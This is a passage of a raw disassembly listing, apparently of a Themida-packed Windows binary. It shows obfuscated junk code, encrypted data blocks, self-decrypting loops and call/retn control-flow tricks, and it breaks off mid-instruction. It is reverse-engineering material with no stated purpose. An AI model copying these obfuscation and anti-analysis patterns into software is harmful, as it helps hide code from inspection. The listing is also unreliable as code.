18FFh, 0B2h db 65h push ebx pop ecx loc_5F4BE4: ; CODE XREF: sub_5F4B2A:loc_5F4BD6p adc eax, 2B596949h sub_5F4B2A endp ; sp-analysis failed popf mov eax, ds:5A07E413h mov bh, 54h add edx, 5F98h mov [ebp+7E424EDh], eax mov esi, 17B1h or di, 89A6h loc_5F4C07: ; CODE XREF: Themida_:005F4C9Bj push dword ptr [edx] clc pop ecx push edx mov ebx, 85D5723h pop ebx add ecx, 5B799D2Eh add ax, 0C93Dh sub ecx, 2D7FFDFEh mov di, 412Dh xor ecx, 856CDBEh call near ptr loc_5F4C3A+1 dec ebp pop esp and bl, [ecx+66h] fisub dword ptr [edx+ebx] loc_5F4C3A: ; CODE XREF: Themida_:005F4C2Dp les ecx, [ecx-1BD5CE6Bh] pop es pop eax push ecx mov [ebp+7E42D35h], eax pop dword ptr [edx] pusha jmp loc_5F4C5E ; --------------------------------------------------------------------------- db 98h, 0F7h, 4Dh dd 0BDD876BDh, 0EEB39153h db 27h, 83h ; --------------------------------------------------------------------------- loc_5F4C5E: ; CODE XREF: Themida_:005F4C4Cj mov dx, 4B3Dh popa sub edx, 49D655E3h mov [ebp+7E423A1h], ebx add edx, 49D655DFh mov eax, [ebp+7E4093Dh] sub esi, 1 jnz loc_5F4C95 mov ah, 77h jmp loc_5F4CB3 ; --------------------------------------------------------------------------- db 0DDh dd 138DBDFAh, 0CBD16008h db 0F7h ; --------------------------------------------------------------------------- loc_5F4C95: ; CODE XREF: Themida_:005F4C7Ej mov [ebp+7E40375h], esi jmp loc_5F4C07 ; --------------------------------------------------------------------------- dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 779A70F5h db 8Eh, 98h, 0Dh ; --------------------------------------------------------------------------- loc_5F4CB3: ; CODE XREF: Themida_:005F4C86j ; DATA XREF: Themida_:0058482Co ... inc edx lodsb xor al, 0A2h push es and al, 7Ch mov ds:3BB37D7Ah, al mov edi, 2181D40Eh sub dh, [ebx+eax*4+6F302590h] setalc and eax, 98A78630h locret_5F4CD1: ; CODE XREF: Themida_:005F4D2Dj leave mov esi, esi and dh, [eax] mov [ebp-7B79CF4Ch], ecx cmpsb lea eax, [edi+6Ch] sal dword ptr [edi], 86h mov eax, cs:259086B4h test byte ptr [ebx], 65h or esp, edx sub dword ptr [edx-33h], 25128634h jo short loc_5F4D48 dec ebx lea esp, [eax+0Dh] rol byte ptr [ecx], 34h or eax, 0A274AC42h and eax, 6933CF7Dh sub ah, dl add ebp, 0C33697A0h and cl, bh push esi cdq aad 0F6h add esp, [ecx+ecx] aam 81h retf 34CDh ; --------------------------------------------------------------------------- dw 4286h ; --------------------------------------------------------------------------- and eax, 8D635170h pusha or eax, 0D3401D4h dec eax lodsb jz short locret_5F4CD1 and [ebp-31h], bh xor edx, ebx or edx, esp add dword ptr [eax+22633697h], 0DDC956CFh mov [esi+6F302521h], edx cwde loc_5F4D48: ; CODE XREF: Themida_:005F4CF5j and eax, 2AEE8630h mov ch, 88h and al, 25h xor bh, cl sbb esp, ebp aas add edi, ecx fcmove st, st(7) jns short loc_5F4DC9 sub [eax], dh xchg al, [edx-58h] lodsd popa outsb sal dword ptr [edi], 3Eh xchg eax, ebp and eax, 0C6B78630h mov ebp, 0DB0D0C3Bh sbb dword ptr [edi-1D513758h], 0A1948822h adc eax, 0E48DADB6h fld dword ptr [edx+eax*2+6A234ACh] and al, 7Ch mov ds:3BB37D7Ah, al mov edi, 2181D40Eh sub dh, [ebx+eax*4+6F302590h] setalc and eax, 0E9838630h add eax, 22B9A4F3h ; --------------------------------------------------------------------------- dw 0 dd 0DE800h, 0B9C80000h, 0E0BBDE89h, 0F880AD1Dh, 0B81F0462h dd 7533C722h, 6DC3815Bh, 66000066h db 0BAh ; --------------------------------------------------------------------------- loc_5F4DC9: ; CODE XREF: Themida_:005F4D5Aj adc edx, ebp xor esi, esi sub [ebp+7E4209Dh], edi loc_5F4DD3: ; CODE XREF: Themida_:loc_5F4E5Fj mov ecx, [ebx+esi] and eax, 0F78E839h sub ecx, 5A3049E4h or [ebp+7E42099h], ecx sub ecx, 21883B5Eh add ax, 5F62h sub ecx, 4279C95Ah xor edx, [ebp+7E40385h] mov [ebx+esi], ecx mov [ebp+7E41EF9h], esi mov edx, [ebp+7E42649h] sub esi, 1 js loc_5F4E1D or [ebp+7E401F5h], edi loc_5F4E1D: ; CODE XREF: Themida_:005F4E11j dec esi dec esi dec esi cld cmp esi, 0FFFF9A54h jnz loc_5F4E56 call near ptr loc_5F4E38+2 rcr cl, 0A6h and [edx+esi*8], edx loc_5F4E38: ; CODE XREF: Themida_:005F4E2Dp xor [edi+66h], eax mov eax, 0E95873DCh das ; --------------------------------------------------------------------------- db 3 dup(0) dd 0B3B56E2h, 6268088Bh, 2DF33794h, 152BF154h db 0F3h, 8Bh ; --------------------------------------------------------------------------- loc_5F4E56: ; CODE XREF: Themida_:005F4E27j jnb loc_5F4E5F mov dx, cx loc_5F4E5F: ; CODE XREF: Themida_:loc_5F4E56j jmp loc_5F4DD3 ; --------------------------------------------------------------------------- dd 0D4B4A57Ah, 0F7A88248h, 311894DDh, 8DD6D36Dh, 0EB2A5C8Dh dd 28C0F07h, 52000000h, 9858958h, 8907E422h, 0E41B718Dh dd 85C7F907h, 7E42DA1h, 5A40h, 0B8E099BEh, 0B985C710h dd 7E422h, 23000000h, 0E41CE99Dh, 11B5FF07h, 6A07E418h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0F7C9C357h, 0FAC23544h, 0C6BF0F0Ch, 306195FFh dd 41B207E4h, 95FF006Ah, 7E40E41h, 6FEBC08Bh, 2E173DBEh dd 0EAE0B2D5h, 1D784338h, 0DF2BF3B5h, 52C7F511h, 0B86D94D0h dd 0BC58686Eh, 21A2977Ah, 8CD15B78h, 3DB767D3h, 8D640B96h dd 6ACE9154h, 8D8ED297h, 0D96B3666h, 323E60AFh, 537B966Dh dd 17810597h, 0DA123962h, 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah dd 0BC640CBEh, 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h dd 1CFE9CD0h, 0E99B4FBDh, 23h, 58DCAE26h, 7 dup(0) dd 0E9000000h, 85Fh, 0C5597B53h, 22B6D6AFh, 8216300Ch dd 0E5798D6Ch, 44D8F4CFh, 0F1CC856Bh, 512B41D5h, 0AB899F33h dd 0EEB0195h, 0FFAF62F6h, 0A98AFD82h, 85145913h, 42A08577h dd 1B331014h, 87276887h, 0A508BA37h, 0ED5613A6h, 0F00CE7B5h dd 5169465Ch, 566E4B19h, 6F17E01Eh, 67FB13F0h, 780B6F90h dd 0AF8B29D8h, 84E48395h, 0D000000h, 275F7B56h, 12627E59h dd 0A04C33B0h, 0A10A1442h, 0C28BC98Fh, 0A4C09B82h, 1DC63910h dd 600FE05Ch, 2F000000h, 0A98D36BDh, 37971145h, 0AC6FFB08h dd 0A3788AD8h, 0CCB33092h, 4F1442A0h, 9F085973h, 7C98738Dh dd 3914B244h, 0BBF30FEAh, 0F48FC720h, 0A017E9E2h, 58C21442h dd 627C58F6h, 5F248F2Ah, 0FB1442A0h, 0A3E38092h, 8E0986F8h dd 0B2EA08E2h, 2D13B717h, 25B6F4Eh, 0DFFBD6F0h, 3B7D4Bh dd 560C0000h, 1522C7Bh, 37D20A26h, 0B20BA6DEh, 9045F062h dd 5083141Eh, 48E6783Eh, 821D5569h, 0B1867770h, 35111442h dd 3A15E31Bh, 8205E61Eh, 64805BC2h, 0BDE96C0Bh, 37CBE7C2h dd 1BF49266h, 0A0F08704h, 0F55E1442h, 28678A9Ch, 57D43686h dd 1442A0A0h, 0D5B3C52Eh, 0A6BB3258h, 1F57C013h, 0C75B7551h dd 83BBD5B1h, 7BCBE3ACh, 42A9A0FEh, 0D45AE14h, 58C77F56h dd 3A522F7Ch, 7A0E6702h, 366E8864h, 8A92E289h, 49FDC41Bh dd 4CE0FAD6h, 72454D7Bh, 42A00EF5h, 0D763CC14h, 448BE4F8h dd 39B618AAh, 1442A042h, 91E2F6D5h, 92411628h, 0EE0016F4h dd 98DFF7D4h, 0FAD6744Eh, 95F9CEE0h, 0E55FE59Ah, 2B5Bh dd 454D8400h, 15922269h, 1442A06Eh, 923C83ECh, 607A5639h dd 19F49219h, 0D6EBEBFDh, 469Eh, 0AA862400h, 31BD5890h dd 552A3C54h, 1969454Dh, 0A0453AB7h, 0F7D61442h, 0BF10ABE3h dd 0D6ECCA56h, 1592EFC4h, 1442A06Eh, 9CB491ABh, 0FC79C964h dd 1442A007h, 0CA116AD3h, 0F4923992h, 2BC6FE18h, 923FF19h dd 565B70C2h, 7C296179h, 144621F1h, 4C3373F0h, 1CE3606Fh dd 0BA144622h, 0F32B3F1Eh, 12A6FF58h, 9DE3C638h, 4B2D7B68h dd 28441F39h, 244722F0h, 0E6548813h, 0FD358EEFh, 38542Fh dd 53D5532h, 0E802DE6Ah, 0FDA972B0h, 11AFB9B5h, 0B4921E32h dd 0B7EF8C9Eh, 3DD1EDC8h, 571A9966h, 313EE0h, 56670000h dd 52296179h, 0BF21713Dh, 42A0BD42h, 9EB01914h, 0BE1943C0h dd 47B713A6h, 1C9FD718h, 0B1015A93h, 0E41C3813h, 0D713749h dd 8C69D490h, 560FE074h, 0AF116179h, 42A04D32h, 50A00914h dd 42A02CD3h, 2F41AA14h, 0D775D769h, 8C73DEFEh, 4A1442A0h dd 0E3ACCFE1h, 0B7197BCBh, 0B9243C19h, 1442A0C2h, 1C152790h dd 13A6A14Ah, 84A07B19h, 85A57E4Ch, 4E49CC2Ch, 0DF272BDAh dd 3585EECDh, 7B1BFCC3h, 2234093Eh, 0F50DEA00h, 5C4C10BDh dd 773597D4h, 0D0E2FED9h, 2F0C7333h, 906D8317h, 26694078h dd 0BD9A3888h, 0C0D26DA5h, 808765E2h, 0B9559FF1h, 0F08BC3DDh dd 805C23A0h, 91FA8079h, 68CAA438h, 798014EBh, 8FAD8780h dd 26BBC57h, 454D1BF0h, 9D7B1969h, 0A2B44F87h, 5621AACDh dd 1AC65A79h, 0EC580673h, 7D4E4C93h, 5FE59A95h, 0A57E1CE5h dd 4ED47385h, 0F4000000h, 0C3B3B82h, 3AB8182Eh, 4136B38Fh dd 0D1742D7h, 64394BA4h, 2269454Dh, 0A06E1592h, 8BED1442h dd 42A0690Eh, 885E514h, 1442A073h, 0B1D76DFh, 927CC32Ch dd 2D7A5639h, 96DD3652h, 20925B70h, 38527C19h, 0F8CADC17h dd 2Ch, 62454D87h, 0E4EEF631h, 2067C075h, 0A06E1592h, 0CDAB1442h dd 42A0AB50h, 65BE2714h, 5639921Eh, 9E5A597Ah, 79586F05h dd 5B70D920h, 29617956h, 4621F17Ch, 3373F014h, 0E3606F4Ch dd 1446221Ch, 22B93EBBh, 0AC151446h, 4999F25Bh, 22956AE7h dd 0D8411446h, 0B38EA4C6h, 0B6915F97h, 5B24629Ah, 3D59342Bh dd 8F2DD2A9h, 63AAE057h, 0D3000000h, 29617956h, 21713D52h dd 1BE05DBFh, 0B71442A0h, 91433C4Eh, 4013A6B9h, 20ACC6A2h dd 36152747h, 733195CDh, 0B9EF9411h, 515C13A6h, 0FDB602DBh dd 0EE0069BAh, 0F4661551h, 14E039FFh, 9B60DDF5h, 3713A657h dd 496375CEh, 2B45216Ch, 0AFFF58F3h, 572BD04Dh, 3EA713A6h dd 0B7456DEh, 0FB0D41F7h, 795608D9h, 0F9972961h, 9A77031Dh dd 424D7082h, 659F1C6Ch, 2B13A683h, 925D2EC2h, 85F619F4h dd 73136A52h, 597C8EE7h, 0AA2E7539h, 61795621h, 957D4E1Ah dd 0E55FE59Ah, 435Bh, 454D8400h, 15922269h, 1442A06Eh dd 680F8CECh, 0E61442A0h, 36D4247Dh, 6F0A4258h, 3092885Dh dd 649CB692h, 56E2B7C9h, 7019607Ah, 8C73F052h, 4A1442A0h dd 9FE81E1h, 208C2EF9h, 269E390Eh, 2D000000h, 2269454Dh dd 0A06E1592h, 0C4AB1442h, 9239927Dh, 0AEB07520h, 0ECFE70A2h dd 95DCF6D2h, 0D5B45270h, 0DCEE89C1h, 61795607h, 32E99F11h dd 0F15EB120h, 0E98719DFh, 21BCF40Ch, 1417160Fh, 0D8A1446h dd 39B02259h, 99BD9261h, 0D8B5CFE1h, 39162CC0h, 0E557E921h dd 5355A392h, 9571FDE9h, 96A8437Bh, 42921C73h, 4F6342E0h dd 9C56443Dh, 9B0413A2h, 0AED3AD4Bh, 884FDDFAh, 95CD2622h dd 0ECC6E8FAh, 107D237Ah, 3C4E3E2Eh, 69454D67h, 19F49222h dd 182AC5FDh, 7956C952h, 20921A61h, 951BFCE2h, 97B9CB09h dd 0E59A95C6h, 445BE55Fh, 84000000h, 2269454Dh, 0A06E1592h dd 83EC1442h, 9239923Ch, 0A0CCB330h, 218A1442h, 0FF19F50Fh dd 1E3211AFh, 5B70370Ch, 349Eh, 45C22400h, 1442A0BEh, 0A0DBA01Dh dd 0E771442h, 4F454BDh, 6F8CE593h, 4D6F4456h, 3E5C3645h dd 0CB126B06h, 0A06E1592h, 0C4AB1442h, 5639927Dh, 7019607Ah dd 2E79565Bh, 64FF3753h, 86DFFFD8h, 21ACA14Eh, 98151446h dd 330FADECh, 10ED0719h, 188A64F8h, 535D10Ch, 435D6F26h dd 3F164E66h, 910E5E50h, 13A284EFh, 8E68FC65h, 0C1F915F0h dd 923F1426h, 0BDC78420h, 9570B329h, 4DA64179h, 347A183Bh dd 9221AAEDh, 0A0CCB330h, 734F1442h, 4F9F0859h, 42A02DD2h dd 2E40A914h, 0CF1F3714h, 0A00BF06Dh, 5EC71442h, 7D4E774Ch dd 0FC1AF492h, 0E6200FEAh, 3AD5E55Fh, 0FE000000h, 0F572454Dh dd 1442A00Eh, 0FED763CCh, 0B20BA6DEh, 0B330926Bh, 1442A0CCh dd 0B8BEC97Bh, 97E8DD78h, 0C13E1C2Eh, 14426D3Ah, 92E82F98h dd 607A5639h, 9E5B7019h, 2Bh, 9D20922Dh, 0F80DD673h, 558DAD86h dd 2C4F61BAh, 92014866h, 42A06E15h, 7DC4AB14h, 16F492h dd 3D1B2DC8h, 607A56E4h, 565B7019h, 52296179h, 0A421713Dh dd 13A692CEh, 0D9C11C8Ch, 6ECEECC6h, 0EC45E169h, 58563958h dd 46258B08h, 0D234144Dh, 8D57AE55h, 0B4902C1Bh, 502F419Ah dd 578C73F0h, 320F1B8Dh, 0F647E21Ah, 2EFC348Dh, 8FA53951h dd 0D0629AB2h, 1D61685Eh, 970C54D9h, 6F86A883h, 726B7DD6h dd 44BA4E3Eh, 93CBE5C1h, 96CEEAC5h, 9CD49057h, 0D649FD7Ah dd 0F391E1F9h, 2AC5FD17h, 3E0F618h, 89C1DDB8h, 698962EEh dd 53D9631h, 7E3D5837h, 8889F1E8h, 23DA126Bh, 4825184Ch dd 0A9869C30h, 3D35991h, 62000000h, 7E563E8Dh, 7956245Ch dd 7D5B2961h, 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh dd 94703E76h, 9B74427Ah, 50EE437Bh, 405E089h, 83000000h dd 48704E8h, 14895C24h, 20596824h, 0C890000h, 446F6824h dd 34890000h, 54685224h, 5A4E931Dh, 0DAF7DAF7h dd 37A9F281h, 81524978h, 15982434h, 81595DBEh, 0BE1598F1h dd 0D3685A5Dh, 89000035h, 4812424h, 424h, 89505E00h, 8BB53C8h dd 1000000h, 5B0389F3h, 2434FF58h, 4C4815Eh, 8B000000h dd 8957240Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h, 4AADE95Ch dd 8F67FFF9h, 7A86D45Ah, 32A2CE59h, 0B81535A9h, 7EB32C8h dd 0E0FFC503h, 52314E61h, 0EF90DB1h, 346269C5h, 11A71D75h dd 3C183A42h, 702AD36Ch, 5E82DA27h, 0C3C6F21h, 79C137CBh dd 26BA9D27h, 4936D896h, 0FE8h, 3D43EB00h, 0FB97990Ah dd 69ED9450h, 80C09485h, 68D0Fh, 0C1810000h, 5F764A80h dd 0AE95Bh, 3FAB0000h, 218C9F1Fh, 0FB09AEC2h, 7080C381h dd 0F7810000h, 35E331A5h, 0BAh, 0B2B86600h, 1A34FF27h dd 8360B966h, 0FBE1BF5Eh, 0C6811A75h, 527CFFDDh, 10E960h dd 0F62C0000h, 3A49245Fh, 57A4CCBBh, 5B302DB7h, 0ACB865E9h dd 612352B9h, 78C8C681h, 0AE97E3Ah, 2A000000h, 6A21E4A5h dd 41C63590h, 44C68129h, 0F5419D5h, 58Bh, 0C8816600h, 348934B2h dd 0CAB96613h, 81E28A1Fh, 77E9F6EAh, 74B86664h, 0F2C28159h dd 666477E9h, 81D075B9h, 0FF9044FAh, 82850FFFh, 0E9FFFFFFh dd 5, 9807E8EAh, 438D8D5Ch, 6A07EB35h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0BECBC352h dd 245F0E99h, 1B718D89h, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0F4D807C3h, 0BE9B5F0h dd 0D4000000h, 0AC4BC82h, 0EF3B6A1Ah, 85C7F44Bh, 7E42DA1h dd 7110h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0BAC35242h, 0D781AAEAh, 672FA89Ch, 22B985C7h, 7E4h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 1B84A4C3h, 7A5A9D64h, 51858985h, 907E423h dd 0E40E618Dh, 0DFBF0F07h, 6A5B5FFh, 0BA6607E4h, 95FF67EBh dd 7E43061h, 2C6DB501h, 6AFC07E4h, 4195FF00h db 0Eh, 0E4h ; --------------------------------------------------------------------------- loc_5F59CE: ; DATA XREF: Themida_:005832ECo pop es mov eax, eax jmp short loc_5F5A10 ; --------------------------------------------------------------------------- aas db 26h or ebx, esp push ebp les ecx, [ebp-64h] lds esi, [edx] retn 8161h ; --------------------------------------------------------------------------- dd 0EB8EE85Bh, 0FD771F67h, 672F8D01h, 6D12AA13h, 0A46D0876h dd 0DEE5EC96h, 3D8926BFh, 267F0D88h, 35F915C9h, 1384DC65h dd 886214D1h, 31D0B5E8h ; --------------------------------------------------------------------------- loc_5F5A10: ; CODE XREF: Themida_:005F59D1j lea ecx, [ebp+7EB3641h] clc mov [ebp+7E42B39h], edi mov [ebp+7E41B71h], ecx jmp loc_5F5A2E ; --------------------------------------------------------------------------- fmul dword ptr [esi+7625B61Bh] loc_5F5A2E: ; CODE XREF: Themida_:005F5A23j mov dword ptr [ebp+7E42DA1h], 6D3Ch push 0 push esi call sub_5F5A43 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5A43 proc near ; CODE XREF: Themida_:005F5A3Bp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5F5A43 endp ; --------------------------------------------------------------------------- pop es mov eax, ds:0BD8B0675h fld qword ptr [esp] pop es mov ebx, [ebp+7E426F9h] mov dword ptr [ebp+7E422B9h], 0 push 0 push edi call sub_5F5A78 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5A78 proc near ; CODE XREF: Themida_:005F5A70p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_5F5A78 endp ; --------------------------------------------------------------------------- dd 0BD38D464h, 956493F3h, 9EF8BFC7h, 7E84596h, 0D2000000h dd 6203294Bh, 0B58BED2Dh, 7E424ADh, 15B5FF5Eh, 8A07E41Eh dd 198D29FEh, 0FF07E426h, 0E4306195h, 9D8B5207h, 7E41C15h dd 0FF006A5Ah, 0E40E4195h, 0EBC08B07h, 0C9C31879h, 95CDFCE8h dd 0BA7DD836h, 641FDE45h, 0F4555361h, 0D77AFCBFh, 0B7177C4Bh dd 9838096Dh, 14DA3687h, 0C8C9E3DDh, 0A4BFEC30h, 43025398h dd 0CC61C74Ah, 2AD9ECEAh, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah dd 32A2CE59h, 0DD1535A9h, 138DBDFAh, 0CBD16008h, 0BB7126F7h dd 9544D79Dh, 582EF027h, 0F694E312h, 17049A77h, 48BBC66Fh dd 11377253h, 0FF4659Dh, 1147D850h, 8D8DBF8Dh, 7EB375Dh dd 0A198D89h, 8D8907E4h, 7E41B71h, 15D5CA81h, 85C70FA4h dd 7E42DA1h, 5E04h, 5E8h, 7EECC100h, 9589D51Eh, 7E40F85h dd 0B985C758h, 7E422h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0BC42C351h dd 0EE814104h, 38503BE2h, 0AEDB5FFh, 8F0F07E4h, 0Ch, 68E0Fh dd 950B0000h, 7E401A1h, 306195FFh, 12E907E4h, 9B000000h dd 7FC9000Dh, 493F8582h, 0AD9F86B3h, 0D57D95BAh, 0FF006A8Fh dd 0E40E4195h ; --------------------------------------------------------------------------- loc_5F5BE8: ; DATA XREF: Themida_:00582EA4o pop es mov eax, eax ; CODE XREF: Themida_:005F5C65j jmp short loc_5F5C57 ; --------------------------------------------------------------------------- db 0BBh, 0F0h, 0D2h dd 0E442BD41h, 5F4C6E54h, 0E3BBAFBAh, 9116E14Fh, 9C34B698h dd 60D1922h, 0D0336993h, 0F38CF1AFh, 0FDD6EFD0h, 9F2B33EAh dd 0C394DE38h, 218D0BE5h, 0F06C85B1h, 0C466FBBDh, 8F95DC24h dd 5EFD2218h, 0D5EB24B1h, 761FE0EDh, 0FA96CACAh, 0D35825B8h dd 48C14493h, 0DD286A69h, 0A40D772Fh, 74AD8936h, 5D6A0C24h ; --------------------------------------------------------------------------- cwde mov dl, 0E5h loc_5F5C57: ; CODE XREF: Themida_:005F5BEBj call near ptr loc_5F5C6F+1 xchg eax, esp loop near ptr loc_5F5CB2+4 cmc sub eax, 61939EF6h loopne near ptr loc_5F5BE9+1 clc setz byte ptr [edx+316DAFFCh] loc_5F5C6F: ; CODE XREF: Themida_:loc_5F5C57p test al, 0BBh imul edi, ds:895E03C7h, 0E41C45BDh pop es add esi, 673Fh push edi jmp loc_5F5C97 ; --------------------------------------------------------------------------- dd 1553219Fh, 5A83BA4Bh, 6137C2E0h db 5Ch, 36h, 0D1h ; --------------------------------------------------------------------------- loc_5F5C97: ; CODE XREF: Themida_:005F5C83j pop ecx push 0 mov [ebp+7E42785h], esi pop eax mov edx, 542A2DEBh loc_5F5CA9: ; CODE XREF: Themida_:005F5D13j mov edi, [esi+eax] mov [ebp+7E42375h], edx loc_5F5CB2: ; CODE XREF: Themida_:005F5C5Dj sub edi, 49CB1219h pusha mov esi, 444E959Ah pusha jmp loc_5F5CCA ; --------------------------------------------------------------------------- dd 675004EDh db 0EAh, 0B5h ; --------------------------------------------------------------------------- loc_5F5CCA: ; CODE XREF: Themida_:005F5CBFj mov [ebp+7E4167Dh], ebx popa popa sub edi, 4161CD29h add [ebp+7E407ADh], eax xor edi, 2C0B0511h movsx edx, cx mov [esi+eax], edi mov bh, 0BDh sub [ebp+7E42C05h], ecx sub eax, 4 jmp loc_5F5D0D ; --------------------------------------------------------------------------- dw 6611h dd 4D84A682h, 0CBECDCh, 757DF527h, 0F925FBEAh ; --------------------------------------------------------------------------- movsd loc_5F5D0D: ; CODE XREF: Themida_:005F5CF5j cmp eax, 0FFFF997Ch jnz loc_5F5CA9 mov bh, 25h lea ecx, [ebp+7EB395Ah] mov bx, si mov [ebp+7E41B71h], ecx push 0 push ecx call sub_5F5D35 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5F5D35 proc near ; CODE XREF: Themida_:005F5D2Dp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5F5D35 endp ; --------------------------------------------------------------------------- cdq xchg esp, [ecx] sub esp, [ebp+2CD23DDBh] sub [ebp+7E40DB9h], esi jb loc_5F5D60 mov [ebp+7E41DD9h], eax loc_5F5D60: ; CODE XREF: Themida_:005F5D54j mov [ebp+7E41429h], eax mov dword ptr [ebp+7E42DA1h], 6778h jmp loc_5F5D81 ; --------------------------------------------------------------------------- db 0C5h, 0DBh, 9Dh dd 7CD353B7h, 4E26AA5Fh db 82h ; --------------------------------------------------------------------------- loc_5F5D81: ; CODE XREF: Themida_:005F5D70j mov dword ptr [ebp+7E422B9h], 0 xor edi, 370ADBC1h push dword ptr [ebp+7E41D5Dh] add edx, [ebp+7E40989h] call sub_5F5DB2 or al, 13h cmp [ecx+523E80C3h], eax and [eax], ecx scasb xchg eax, edi mov dh, 0F9h sal ch, 1 ; =============== S U B R O U T I N E ======================================= sub_5F5DB2 proc near ; CODE XREF: Themida_:005F5D9Dp or dh, 0FAh pop ebx call dword ptr [ebp+7E43061h] push 0 push edx call sub_5F5DC7 and [edx-3Dh], bl sub_5F5DB2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5F5DC7 proc near ; CODE XREF: sub_5F5DB2+Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5F5DC7 endp ; --------------------------------------------------------------------------- push ecx imul dl dec byte ptr [edi] mov bh, 0D3h push 0 call dword ptr [ebp+7E40E41h] mov eax, eax jmp short loc_5F5E45 ; --------------------------------------------------------------------------- dw 7ECFh dd 0FFF159Fh, 23C0EDB5h, 9C85A177h, 356B829Dh, 0B3AE4CAFh dd 0E1C5E5FDh, 0AF8EE42Ch, 2BDFE50Fh, 44DEE88Bh, 0BA7F7122h dd 88535E4Fh, 98D58CF3h, 336552BAh, 910B89ACh, 1C1A4C3Bh dd 78534EF9h, 2357A08Dh, 0B0198F7Ch, 0FDC76D9h, 0A22C7748h dd 84ED3198h, 0BF33BE02h db 65h ; --------------------------------------------------------------------------- loc_5F5E45: ; CODE XREF: Themida_:005F5DE8j call near ptr loc_5F5E56+2 sbb ecx, ebx popa sub [edx], bl loc_5F5E4F: ; CODE XREF: Themida_:005F5EB8j add [esi+ecx*2+7E9E9B18h], bl loc_5F5E56: ; CODE XREF: Themida_:loc_5F5E45p fdiv dword ptr ds:0B0A9C981h xor [edi], bh pop eax mov edx, [ebp+7E4233Dh] add eax, 6460h mov [ebp+7E41CC5h], esi xor edi, edi pusha mov [ebp+7E41C59h], esi xor ax, 2B6Dh popa loc_5F5E80: ; CODE XREF: Themida_:005F5EE2j push dword ptr [edi+eax] jmp loc_5F5E90 ; --------------------------------------------------------------------------- dd 67E60E7Bh, 0CF96D910h ; --------------------------------------------------------------------------- loc_5F5E90: ; CODE XREF: Themida_:005F5E83j pop ebx mov [ebp+7E43049h], esi sub ebx, 405773E1h mov edx, ebx xor ebx, 48268EB2h mov ecx, [ebp+7E41B69h] add ebx, 360F9B94h jmp loc_5F5EBB ; --------------------------------------------------------------------------- dw 6459h ; --------------------------------------------------------------------------- jmp short loc_5F5E4F ; --------------------------------------------------------------------------- db 0C4h ; --------------------------------------------------------------------------- loc_5F5EBB: ; CODE XREF: Themida_:005F5EB1j push ebx jge loc_5F5EC5 mov cx, bx loc_5F5EC5: ; CODE XREF: Themida_:005F5EBCj pop dword ptr [eax+edi] or [ebp+7E429C1h], esi mov ecx, 227264ABh sub edi, 4 sub edx, [ebp+7E42D9Dh] cmp edi, 0FFFF9C3Ch jnz loc_5F5E80 mov dl, ch jmp loc_5F5FD7 ; --------------------------------------------------------------------------- pop ebp xor eax, 9CD74848h inc ebp retf 0C8C3h ; --------------------------------------------------------------------------- db 0E1h, 0B6h, 0DAh dd 95A7ACABh, 0F44592B3h, 0B395A1h, 0A7ECABDAh, 0B2915D20h dd 96B1F46Bh, 55207520h, 0F26BB79Bh, 9692A5BCh, 3A7594A1h dd 9FB79960h, 0B599BD32h, 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h dd 0F94E0097h, 9FA5B4h, 0F07B6B5Ch, 8A924Ah, 45F352D0h dd 0A3F653F5h, 44D6D979h, 45E3AFF1h, 0D77D41F4h, 9792B000h dd 0FD756BBFh, 96BFCF60h, 0B293BCF9h, 57207D20h, 92ABF79Bh dd 0B29EBD94h, 0CE9DBCE3h, 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h dd 0BCE1B6F6h, 0B3ED7293h, 0B6D00097h, 0A8CD43F1h, 0F0h dd 74470000h, 0E0E3129Dh, 5E99h, 0Bh dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5F5FD7: ; CODE XREF: Themida_:005F5EEAj jmp loc_5F759C ; --------------------------------------------------------------------------- push 7EB3D4Ah jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB3E44h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB3F2Ah jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4056h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB40E8h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4198h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4248h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB42FCh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB43A2h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB450Eh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB462Fh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4779h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB485Ah jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB49B1h jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4B1Eh jmp loc_58A287 ; --------------------------------------------------------------------------- push 7EB4D72h jmp loc_58A287 ; --------------------------------------------------------------------------- push 